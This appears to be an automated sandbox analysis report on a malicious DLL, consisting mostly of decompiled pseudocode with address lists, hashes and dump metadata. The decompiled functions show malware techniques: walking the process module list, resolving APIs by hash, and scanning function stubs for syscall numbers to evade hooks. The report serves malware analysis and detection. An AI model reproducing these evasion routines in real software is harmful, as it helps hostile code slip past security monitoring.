							 *((intOrPtr*)(_t458 + 0xc)) =  *((intOrPtr*)(_t458 + 0xc)) + 1;
							_t202 = E6EEC2F8C(0xa5eabdf8, 0xf3119fba);
							__eflags = _t202;
							if(_t202 == 0) {
								_t415 =  *(_t458 + 0x6c);
								__eflags = _t415;
								if(__eflags == 0) {
									break;
								} else {
									__eflags = _t415 - 0xffffffff;
									if(__eflags != 0) {
										E6EEBF8C4(_t458 + 0x40, E6EEBF568(_t458 + 0x3c) + 4);
										 *(E6EEBF558(_t458 + 0x40, E6EEBF568(_t458 + 0x3c) + 0xfffffffc)) =  *(_t458 + 0x6c);
										 *((intOrPtr*)(_t458 + 0x4c - 0x14)) =  *((intOrPtr*)(_t458 + 0x4c - 0x14)) + 1;
										E6EEBCDE0(_t458 + 0x4c, __eflags);
										_t454 = _t454 + 1;
										__eflags = _t454 -  *(_t458 + 0x80);
										if(_t454 <  *(_t458 + 0x80)) {
											continue;
										} else {
											_t437 = 0;
											__eflags = 0;
											do {
												_t211 = E6EEBF558( *(_t458 + 4), _t437 * 4);
												_t212 = E6EEBF558(_t458 + 0x40, _t437 * 4);
												E6EEB8C14( *_t211, E6EEC034C(0xa5eabdf8, 0x4145240a),  *_t212, 0, 0);
												_t437 = _t437 + 1;
												__eflags = _t437 -  *(_t458 + 0x80);
											} while (_t437 <  *(_t458 + 0x80));
											goto L57;
										}
									} else {
										break;
									}
								}
							} else {
								__eflags = 0;
								_push(2);
								_push(0);
								_push(0);
								_push(_t458 + 0x6c);
								_push( *((intOrPtr*)(_t458 + 0x78)));
								_push( *((intOrPtr*)(_t458 + 0x60)));
								_push(0xffffffff);
								asm("int3");
								return _t202;
							}
							goto L71;
						}
						E6EEBCDE0(_t458 + 0x4c, __eflags);
						L59:
						E6EEBB680(_t458 + 0x34);
						E6EEBB680(_t458 + 8);
						goto L60;
					}
					goto L71;
				}
			}

0x6eeb84e4
0x6eeb84e8
0x6eeb84f1
0x6eeb84f7
0x6eeb84fb
0x6eeb84ff
0x6eeb850a
0x6eeb850e
0x6eeb8513
0x6eeb851b
0x6eeb852b
0x00000000
0x6eeb852d
0x6eeb8535
0x6eeb853c
0x6eeb853c
0x6eeb8a8f
0x6eeb8a91
0x6eeb8ad2
0x6eeb8ad4
0x6eeb8ae3
0x6eeb8aef
0x6eeb8ad6
0x6eeb8ade
0x6eeb8af5
0x6eeb8afa
0x00000000
0x6eeb8ae0
0x6eeb8ae2
0x00000000
0x6eeb8ae2
0x6eeb8ade
0x00000000
0x6eeb8546
0x6eeb854a
0x6eeb854d
0x6eeb8553
0x6eeb8553
0x6eeb8555
0x6eeb855c
0x6eeb856a
0x6eeb856c
0x6eeb8570
0x6eeb8572
0x6eeb859e
0x6eeb85a2
0x6eeb85a7
0x6eeb85ac
0x6eeb85b0
0x6eeb85b4
0x6eeb85bb
0x6eeb85c0
0x6eeb85c2
0x6eeb8b51
0x6eeb8b60
0x6eeb8b7f
0x6eeb8b84
0x6eeb8b84
0x6eeb85d5
0x6eeb85da
0x6eeb85de
0x6eeb85de
0x6eeb85de
0x6eeb85ef
0x6eeb85f1
0x6eeb85f3
0x6eeb8604
0x6eeb8604
0x6eeb8609
0x6eeb860e
0x6eeb8612
0x6eeb8617
0x6eeb861e
0x6eeb8623
0x6eeb8625
0x6eeb8b13
0x6eeb8b1f
0x6eeb8b39
0x6eeb8b3e
0x6eeb8b3e
0x6eeb863b
0x6eeb8640
0x6eeb8644
0x6eeb8644
0x6eeb8644
0x6eeb8644
0x6eeb8647
0x6eeb8647
0x6eeb8574
0x6eeb8576
0x6eeb8576
0x6eeb8578
0x6eeb8584
0x6eeb858b
0x6eeb858d
0x00000000
0x00000000
0x6eeb8599
0x6eeb859a
0x6eeb859c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eeb859c
0x6eeb858f
0x6eeb8592
0x00000000
0x00000000
0x6eeb8594
0x6eeb8592
0x6eeb8648
0x6eeb864c
0x6eeb864d
0x6eeb864d
0x6eeb8555
0x6eeb8655
0x6eeb865a
0x6eeb8660
0x6eeb8660
0x6eeb8662
0x6eeb8669
0x6eeb8677
0x6eeb8679
0x6eeb867d
0x6eeb867f
0x6eeb8681
0x6eeb86bc
0x6eeb86cb
0x6eeb86cd
0x6eeb86cf
0x6eeb86ed
0x6eeb86ef
0x6eeb86f1
0x6eeb8703
0x6eeb8721
0x6eeb872a
0x6eeb872d
0x6eeb873b
0x6eeb874c
0x6eeb876a
0x6eeb876c
0x6eeb8770
0x6eeb8770
0x6eeb8770
0x6eeb86f1
0x6eeb8683
0x6eeb8687
0x6eeb8687
0x6eeb868c
0x6eeb8693
0x6eeb86a2
0x6eeb86a9
0x6eeb86ab
0x00000000
0x00000000
0x6eeb86b7
0x6eeb86b8
0x6eeb86ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eeb86ba
0x6eeb86ad
0x6eeb86b0
0x00000000
0x00000000
0x6eeb86b2
0x6eeb86b0
0x6eeb8772
0x6eeb8772
0x6eeb8773
0x6eeb8773
0x6eeb8662
0x6eeb8781
0x6eeb8786
0x6eeb878a
0x6eeb878e
0x6eeb8794
0x6eeb8796
0x6eeb8798
0x6eeb87a2
0x6eeb87a2
0x6eeb87a4
0x6eeb87a7
0x6eeb87a9
0x6eeb87b1
0x6eeb87b8
0x6eeb87bc
0x6eeb87bf
0x00000000
0x00000000
0x6eeb88bb
0x6eeb88bc
0x6eeb88be
0x00000000
0x00000000
0x00000000
0x6eeb88be
0x6eeb87c5
0x6eeb87c8
0x6eeb87d1
0x6eeb87d6
0x6eeb87d8
0x6eeb87e4
0x6eeb87e8
0x6eeb87ed
0x6eeb87f1
0x6eeb8bce
0x6eeb8be2
0x6eeb8c04
0x6eeb8c09
0x6eeb8c09
0x6eeb8807
0x6eeb880c
0x6eeb8810
0x6eeb8810
0x6eeb8810
0x6eeb8810
0x6eeb8815
0x6eeb881a
0x6eeb881c
0x6eeb8820
0x6eeb8827
0x6eeb882c
0x6eeb882e
0x6eeb8b8f
0x6eeb8b9e
0x6eeb8bb7
0x6eeb8bbc
0x6eeb8bbc
0x6eeb8841
0x6eeb8846
0x6eeb884a
0x6eeb884a
0x6eeb884a
0x6eeb885c
0x6eeb887d
0x6eeb8885
0x6eeb8893
0x6eeb88b1
0x6eeb88b7
0x6eeb88b7
0x6eeb87c8
0x6eeb8798
0x6eeb88c4
0x6eeb88c6
0x6eeb88ca
0x6eeb88d3
0x6eeb88de
0x6eeb88e2
0x6eeb88eb
0x6eeb88f0
0x6eeb88f6
0x6eeb88f7
0x6eeb88fb
0x6eeb88ff
0x6eeb8906
0x6eeb8908
0x6eeb8a48
0x6eeb8a59
0x6eeb8a60
0x6eeb8a67
0x6eeb8a67
0x6eeb8a6a
0x6eeb8a6d
0x6eeb8a70
0x6eeb8a76
0x00000000
0x6eeb8a78
0x6eeb8a78
0x6eeb8a7b
0x6eeb8a94
0x6eeb8aac
0x6eeb8aaf
0x6eeb8ab4
0x6eeb8abe
0x6eeb8ac1
0x6eeb8ac4
0x6eeb8acd
0x00000000
0x00000000
0x00000000
0x6eeb8a7b
0x00000000
0x6eeb890e
0x6eeb8910
0x6eeb8910
0x6eeb8912
0x6eeb8916
0x6eeb891b
0x6eeb891d
0x6eeb8921
0x6eeb8924
0x6eeb892c
0x6eeb892e
0x00000000
0x00000000
0x6eeb8945
0x6eeb8960
0x6eeb8962
0x6eeb8970
0x6eeb8975
0x6eeb8977
0x6eeb8994
0x6eeb8998
0x6eeb899a
0x00000000
0x6eeb899c
0x6eeb899c
0x6eeb899f
0x6eeb89c0
0x6eeb89df
0x6eeb89e5
0x6eeb89e8
0x6eeb89ed
0x6eeb89ee
0x6eeb89f5
0x00000000
0x6eeb89fb
0x6eeb89fd
0x6eeb89fd
0x6eeb89ff
0x6eeb8a0b
0x6eeb8a17
0x6eeb8a39
0x6eeb8a3e
0x6eeb8a3f
0x6eeb8a3f
0x00000000
0x6eeb89ff
0x00000000
0x00000000
0x00000000
0x6eeb899f
0x6eeb8979
0x6eeb8979
0x6eeb897f
0x6eeb8981
0x6eeb8982
0x6eeb8983
0x6eeb8984
0x6eeb8988
0x6eeb898c
0x6eeb898e
0x6eeb898f
0x6eeb898f
0x00000000
0x6eeb8977
0x6eeb89a5
0x6eeb8a7d
0x6eeb8a81
0x6eeb8a8a
0x00000000
0x6eeb8a8a
0x00000000
0x6eeb8908

Strings

, xrefs: 6EEB8AD6

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 7789571b791fbddc5c12bb3bfe1020c8ae27195bcf9eda4ceeed74e3e4e8d1e4
Instruction ID: 54d5783e8f1b5b283b3154d5ad7ef314a0f3f9293f44155cdf8cec78ca78574e
Opcode Fuzzy Hash: 7789571b791fbddc5c12bb3bfe1020c8ae27195bcf9eda4ceeed74e3e4e8d1e4
Instruction Fuzzy Hash: 35126C756087469FC704DFA4CA80A9FB3A9BF95709F304D2DE5A9972A0EB34DC05CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6EEC14D8(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E6EEC03A0(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x6eecd208 == 0 ||  *0x6eecd2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x212ae3b8;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E6EEC4BE0( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x6eecd2ec |  *0x6eecd2ed;
									if(( *0x6eecd2ec |  *0x6eecd2ed) == 0) {
										_t525 =  *0x6eecd208; // 0x47c1340
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x6eecd2ec = 1;
											_t526 = E6EEC3558(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E6EEC1CCC(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x6eecd208 = _t526;
											 *0x6eecd2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E6EEC3558(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E6EEC1CCC(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E6EEBE070(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E6EEBE070(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0xd926c223;
									if(_t535[0x54] == 0xd926c223) {
										 *0x6eecd20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0x80febacc;
										if(_t535[0x54] == 0x80febacc) {
											 *0x6eecd210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E6EEBE94C( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E6EEC2F94(0xa5eabdf8, 0x9766f056, 0xa5eabdf8, 0xa5eabdf8);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x6eecd2e4 = 1;
					E6EEBF620( &(_t535[0x38]), 0);
					E6EEBF620( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E6EEBF558( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E6EEC2F94(0xa5eabdf8, 0x22dc1034, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E6EEBF8C4( &(_t535[0xc]), E6EEBF568( &(_t535[8])) + 0x14);
								_t369 = E6EEBF558( &(_t535[0xc]), E6EEBF568( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E6EEBF6F0( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
								E6EEBF620( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E6EEBF6F0( &(_t535[8]));
							E6EEBF6F0( &(_t535[0x164]));
							E6EEBF620( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E6EEBF620( &(_t535[0x20]), 0);
							_push(0xa5eabdf8);
							_t289 = E6EEC1DD0(0xa5eabdf8);
							_t290 = E6EEC1388( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E6EEC1D08( &(_t535[0x164]), 0xa5eabdf8);
							_t518 =  &(_t535[0x178]);
							E6EEBD0D0( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E6EEC5C40( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E6EEC5C74( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E6EEC8D74( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E6EEBF6F0( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E6EEBBC00( &(_t535[0x110]));
							}
							E6EEBD098( &(_t535[0x104]));
							E6EEBD098(_t518);
							E6EEBD098( &(_t535[0x15c]));
							E6EEBD098( &(_t535[0x154]));
							E6EEC9058( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E6EEBF6B4( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E6EEC901C( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E6EEBF558( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E6EEBF568( &(_t535[0x44]));
								_t519 =  *(0x6eecbce0 + _t381 * 4);
								_t531 = E6EEC8FE8( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E6EEC8754( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E6EEBF568( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E6EEBF578( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E6EEBF568( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E6EEBF8C4( &(_t535[0x20]), E6EEBF568( &(_t535[0x1c])) + 8);
										E6EEBF558( &(_t535[0x20]), E6EEBF568( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E6EEC30A4(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E6EEBF8C4( &(_t535[0x48]), _t535[0x70]);
									E6EEC30A4(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E6EEBF8DC( &(_t535[0x44]), _t563);
									E6EEBF8DC( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E6EEC90A8( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E6EEC9070( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E6EEBF6F0( &(_t535[0x144]));
									E6EEBF6F0( &(_t535[0x134]));
									goto L38;
								}
								 *0x6eecd2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E6EEBF6F0( &(_t535[0x11c]));
							E6EEC8DD4(_t381,  &(_t535[0xd8]));
							E6EEBF6F0( &(_t535[0x1c]));
							E6EEBF6F0( &(_t535[0x44]));
							E6EEBF6F0( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E6EEBF558( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E6EEBF8C4( &(_t535[0x38]), E6EEBF568( &(_t535[0x34])) + 0x14);
							_t347 = E6EEBF558( &(_t535[0x38]), E6EEBF568( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E6EEBF558( &(_t535[0xc]), _t62);
						_t455 = E6EEBF558( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

0x6eec14e4
0x6eec14eb
0x6eec14ee
0x6eec14f5
0x6eec1c77
0x6eec1c77
0x6eec14fb
0x6eec1506
0x6eec1a45
0x6eec1a49
0x00000000
0x6eec1cc8
0x6eec1a4f
0x6eec1a52
0x6eec1a55
0x6eec1a5f
0x6eec1a6e
0x6eec1a70
0x6eec1a77
0x6eec1c61
0x6eec1c63
0x6eec1c66
0x6eec1c6a
0x00000000
0x6eec1c6a
0x6eec1a86
0x6eec1a91
0x6eec1a98
0x6eec1a9b
0x6eec1a9d
0x6eec1aa0
0x6eec1aa3
0x6eec1aa9
0x6eec1ab7
0x6eec1ac7
0x6eec1aec
0x6eec1afd
0x6eec1b00
0x6eec1b02
0x6eec1b66
0x6eec1b69
0x6eec1b69
0x6eec1b6b
0x6eec1b6e
0x6eec1b72
0x6eec1b72
0x6eec1b76
0x00000000
0x00000000
0x6eec1b83
0x6eec1b89
0x6eec1bbd
0x6eec1bc3
0x6eec1bc5
0x6eec1c94
0x6eec1c9c
0x6eec1c9f
0x6eec1ca1
0x6eec1cb8
0x6eec1cb8
0x6eec1ca3
0x6eec1ca7
0x6eec1cac
0x6eec1cac
0x6eec1cba
0x6eec1cc0
0x6eec1bdf
0x6eec1bdf
0x6eec1be1
0x6eec1be1
0x6eec1be3
0x6eec1be3
0x6eec1be8
0x00000000
0x00000000
0x6eec1bea
0x6eec1beb
0x6eec1bee
0x6eec1bf1
0x00000000
0x00000000
0x6eec1bfd
0x6eec1c00
0x6eec1c02
0x6eec1c19
0x6eec1c19
0x6eec1c04
0x6eec1c08
0x6eec1c0d
0x6eec1c0d
0x6eec1c26
0x6eec1c29
0x6eec1c32
0x6eec1c35
0x6eec1c58
0x6eec1c5c
0x00000000
0x6eec1c5c
0x6eec1c3d
0x6eec1c3d
0x6eec1c49
0x6eec1c4c
0x6eec1c55
0x00000000
0x6eec1c55
0x6eec1bcb
0x6eec1bdb
0x6eec1bdb
0x6eec1bdd
0x00000000
0x00000000
0x6eec1bd3
0x6eec1bd5
0x6eec1bd5
0x00000000
0x6eec1bdb
0x6eec1b8b
0x6eec1b93
0x6eec1bb3
0x6eec1b95
0x6eec1b95
0x6eec1b9d
0x6eec1ba6
0x6eec1ba6
0x6eec1b9d
0x00000000
0x6eec1b93
0x6eec1b04
0x6eec1b0b
0x00000000
0x00000000
0x6eec1b18
0x6eec1b1e
0x6eec1b23
0x6eec1b2a
0x6eec1b2e
0x6eec1b43
0x6eec1b45
0x6eec1b47
0x6eec1b4d
0x6eec1b5b
0x6eec1b5b
0x6eec1b61
0x00000000
0x6eec1b61
0x00000000
0x00000000
0x00000000
0x00000000
0x6eec1aab
0x6eec1aab
0x6eec1aab
0x6eec1aac
0x6eec1aaf
0x6eec1ab3
0x00000000
0x6eec1ac9
0x6eec1acc
0x6eec1acf
0x6eec1ad8
0x6eec1adb
0x6eec1adc
0x6eec1ade
0x00000000
0x6eec1519
0x6eec151b
0x6eec1520
0x6eec152b
0x6eec1539
0x6eec154c
0x6eec1559
0x6eec1562
0x6eec1566
0x6eec156a
0x6eec15b2
0x6eec15b2
0x6eec15b4
0x6eec15bb
0x00000000
0x00000000
0x6eec15d4
0x6eec15dc
0x6eec15e0
0x6eec15f5
0x6eec15f9
0x6eec15fd
0x6eec1606
0x6eec160c
0x6eec160f
0x6eec1613
0x6eec161b
0x6eec161d
0x6eec1621
0x6eec1628
0x6eec1631
0x6eec1631
0x6eec1635
0x6eec164a
0x6eec1660
0x6eec166d
0x6eec166e
0x6eec166e
0x6eec1670
0x00000000
0x00000000
0x00000000
0x00000000
0x6eec162a
0x6eec162a
0x6eec162a
0x6eec162b
0x6eec162c
0x00000000
0x6eec162a
0x6eec15ef
0x6eec15f3
0x00000000
0x00000000
0x00000000
0x6eec1674
0x6eec1674
0x6eec1675
0x6eec1678
0x6eec1682
0x6eec1682
0x6eec1686
0x6eec168d
0x6eec16e8
0x6eec16ed
0x6eec1740
0x6eec1740
0x6eec1744
0x6eec1748
0x6eec1572
0x6eec1575
0x6eec157a
0x6eec1580
0x6eec1583
0x6eec158a
0x6eec158e
0x6eec1595
0x6eec159e
0x6eec15a2
0x6eec15a6
0x6eec15ac
0x00000000
0x00000000
0x00000000
0x6eec15ac
0x6eec1752
0x6eec175e
0x6eec1769
0x6eec1770
0x6eec1779
0x6eec1783
0x6eec1784
0x6eec1792
0x6eec1797
0x6eec1798
0x6eec17a5
0x6eec17aa
0x6eec17bc
0x6eec17c1
0x6eec17c6
0x6eec17d8
0x6eec17ea
0x6eec17ef
0x6eec17fa
0x6eec1801
0x6eec1806
0x6eec180e
0x6eec1817
0x6eec1817
0x6eec1823
0x6eec182a
0x6eec1836
0x6eec1842
0x6eec1850
0x6eec1861
0x6eec1868
0x6eec186d
0x6eec1876
0x6eec187b
0x6eec187d
0x6eec1881
0x6eec1885
0x6eec1892
0x6eec189f
0x6eec18a3
0x6eec18b7
0x6eec18bb
0x00000000
0x00000000
0x6eec18d0
0x6eec18d2
0x6eec18da
0x6eec18d7
0x6eec18d7
0x6eec18d7
0x6eec18de
0x6eec18e0
0x6eec18e6
0x6eec18ec
